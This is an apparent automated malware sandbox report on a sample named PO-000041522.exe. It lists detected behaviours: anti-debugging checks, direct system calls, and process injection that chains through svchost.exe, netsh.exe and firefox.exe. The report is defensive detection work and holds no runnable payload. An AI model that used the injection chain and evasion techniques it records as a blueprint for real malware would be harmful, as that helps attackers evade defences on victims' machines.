            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FAB40 mov eax, dword ptr fs:[00000030h]2_2_030FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D8B42 mov eax, dword ptr fs:[00000030h]2_2_030D8B42
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028B50 mov eax, dword ptr fs:[00000030h]2_2_03028B50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DEB50 mov eax, dword ptr fs:[00000030h]2_2_030DEB50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302CB7E mov eax, dword ptr fs:[00000030h]2_2_0302CB7E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040BBE mov eax, dword ptr fs:[00000030h]2_2_03040BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040BBE mov eax, dword ptr fs:[00000030h]2_2_03040BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E4BB0 mov eax, dword ptr fs:[00000030h]2_2_030E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E4BB0 mov eax, dword ptr fs:[00000030h]2_2_030E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]2_2_03050BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]2_2_03050BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]2_2_03050BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]2_2_03030BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]2_2_03030BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]2_2_03030BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DEBD0 mov eax, dword ptr fs:[00000030h]2_2_030DEBD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]2_2_03038BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]2_2_03038BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]2_2_03038BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305EBFC mov eax, dword ptr fs:[00000030h]2_2_0305EBFC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BCBF0 mov eax, dword ptr fs:[00000030h]2_2_030BCBF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BCA11 mov eax, dword ptr fs:[00000030h]2_2_030BCA11
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306CA24 mov eax, dword ptr fs:[00000030h]2_2_0306CA24
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305EA2E mov eax, dword ptr fs:[00000030h]2_2_0305EA2E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03054A35 mov eax, dword ptr fs:[00000030h]2_2_03054A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03054A35 mov eax, dword ptr fs:[00000030h]2_2_03054A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306CA38 mov eax, dword ptr fs:[00000030h]2_2_0306CA38
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040A5B mov eax, dword ptr fs:[00000030h]2_2_03040A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040A5B mov eax, dword ptr fs:[00000030h]2_2_03040A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]2_2_0306CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]2_2_0306CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]2_2_0306CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DEA60 mov eax, dword ptr fs:[00000030h]2_2_030DEA60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030ACA72 mov eax, dword ptr fs:[00000030h]2_2_030ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030ACA72 mov eax, dword ptr fs:[00000030h]2_2_030ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104A80 mov eax, dword ptr fs:[00000030h]2_2_03104A80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03068A90 mov edx, dword ptr fs:[00000030h]2_2_03068A90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038AA0 mov eax, dword ptr fs:[00000030h]2_2_03038AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038AA0 mov eax, dword ptr fs:[00000030h]2_2_03038AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03086AA4 mov eax, dword ptr fs:[00000030h]2_2_03086AA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]2_2_03086ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]2_2_03086ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]2_2_03086ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030AD0 mov eax, dword ptr fs:[00000030h]2_2_03030AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03064AD0 mov eax, dword ptr fs:[00000030h]2_2_03064AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03064AD0 mov eax, dword ptr fs:[00000030h]2_2_03064AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306AAEE mov eax, dword ptr fs:[00000030h]2_2_0306AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306AAEE mov eax, dword ptr fs:[00000030h]2_2_0306AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE908 mov eax, dword ptr fs:[00000030h]2_2_030AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE908 mov eax, dword ptr fs:[00000030h]2_2_030AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BC912 mov eax, dword ptr fs:[00000030h]2_2_030BC912
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028918 mov eax, dword ptr fs:[00000030h]2_2_03028918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028918 mov eax, dword ptr fs:[00000030h]2_2_03028918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B892A mov eax, dword ptr fs:[00000030h]2_2_030B892A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C892B mov eax, dword ptr fs:[00000030h]2_2_030C892B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B0946 mov eax, dword ptr fs:[00000030h]2_2_030B0946
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104940 mov eax, dword ptr fs:[00000030h]2_2_03104940
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]2_2_03056962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]2_2_03056962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]2_2_03056962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307096E mov eax, dword ptr fs:[00000030h]2_2_0307096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307096E mov edx, dword ptr fs:[00000030h]2_2_0307096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307096E mov eax, dword ptr fs:[00000030h]2_2_0307096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D4978 mov eax, dword ptr fs:[00000030h]2_2_030D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D4978 mov eax, dword ptr fs:[00000030h]2_2_030D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BC97C mov eax, dword ptr fs:[00000030h]2_2_030BC97C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030309AD mov eax, dword ptr fs:[00000030h]2_2_030309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030309AD mov eax, dword ptr fs:[00000030h]2_2_030309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B89B3 mov esi, dword ptr fs:[00000030h]2_2_030B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B89B3 mov eax, dword ptr fs:[00000030h]2_2_030B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B89B3 mov eax, dword ptr fs:[00000030h]2_2_030B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C69C0 mov eax, dword ptr fs:[00000030h]2_2_030C69C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030649D0 mov eax, dword ptr fs:[00000030h]2_2_030649D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FA9D3 mov eax, dword ptr fs:[00000030h]2_2_030FA9D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BE9E0 mov eax, dword ptr fs:[00000030h]2_2_030BE9E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030629F9 mov eax, dword ptr fs:[00000030h]2_2_030629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030629F9 mov eax, dword ptr fs:[00000030h]2_2_030629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BC810 mov eax, dword ptr fs:[00000030h]2_2_030BC810
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]2_2_03052835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]2_2_03052835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]2_2_03052835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov ecx, dword ptr fs:[00000030h]2_2_03052835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]2_2_03052835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]2_2_03052835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A830 mov eax, dword ptr fs:[00000030h]2_2_0306A830
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D483A mov eax, dword ptr fs:[00000030h]2_2_030D483A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D483A mov eax, dword ptr fs:[00000030h]2_2_030D483A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03042840 mov ecx, dword ptr fs:[00000030h]2_2_03042840
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_00426DA1
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0042202E SetUnhandledExceptionFilter,0_2_0042202E
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_004230F5
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00417D93
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00421FA7

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtWriteVirtualMemory: Direct from: 0x77762E3CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtMapViewOfSection: Direct from: 0x77762D1CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtNotifyChangeKey: Direct from: 0x77763C2CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtCreateMutant: Direct from: 0x777635CCJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtResumeThread: Direct from: 0x777636ACJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtProtectVirtualMemory: Direct from: 0x77757B2EJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtQuerySystemInformation: Direct from: 0x77762DFCJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtAllocateVirtualMemory: Direct from: 0x77762BFCJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtReadFile: Direct from: 0x77762ADCJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtDelayExecution: Direct from: 0x77762DDCJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtWriteVirtualMemory: Direct from: 0x7776490CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtQueryInformationProcess: Direct from: 0x77762C26Jump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtResumeThread: Direct from: 0x77762FBCJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtCreateUserProcess: Direct from: 0x7776371CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtSetInformationThread: Direct from: 0x777563F9Jump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtAllocateVirtualMemory: Direct from: 0x77763C9CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtSetInformationThread: Direct from: 0x77762B4CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtQueryAttributesFile: Direct from: 0x77762E6CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtClose: Direct from: 0x77762B6C
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtReadVirtualMemory: Direct from: 0x77762E8CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtCreateKey: Direct from: 0x77762C6CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtQuerySystemInformation: Direct from: 0x777648CCJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtAllocateVirtualMemory: Direct from: 0x777648ECJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtQueryVolumeInformationFile: Direct from: 0x77762F2CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtOpenSection: Direct from: 0x77762E0CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtDeviceIoControlFile: Direct from: 0x77762AECJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtAllocateVirtualMemory: Direct from: 0x77762BECJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtQueryInformationToken: Direct from: 0x77762CACJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtTerminateThread: Direct from: 0x77762FCCJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtCreateFile: Direct from: 0x77762FECJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtOpenFile: Direct from: 0x77762DCCJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtOpenKeyEx: Direct from: 0x77762B9CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtSetInformationProcess: Direct from: 0x77762C5CJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeNtProtectVirtualMemory: Direct from: 0x77762F9CJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: NULL target: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: NULL target: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeThread register set: target process: 7776Jump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeThread APC queued: target process: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 593008Jump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0043916A LogonUserW,0_2_0043916A
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_00436431
            Source: C:\Users\user\Desktop\PO-000041522.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO-000041522.exe"Jump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeProcess created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\SysWOW64\netsh.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00445DD3
            Source: PO-000041522.exe, mRCAFaTTtF.exe, 00000009.00000000.1296180946.00000000016A0000.00000002.00000001.00040000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000002.3122563643.00000000016A0000.00000002.00000001.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123577034.0000000001330000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: mRCAFaTTtF.exe, 00000009.00000000.1296180946.00000000016A0000.00000002.00000001.00040000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000002.3122563643.00000000016A0000.00000002.00000001.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123577034.0000000001330000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
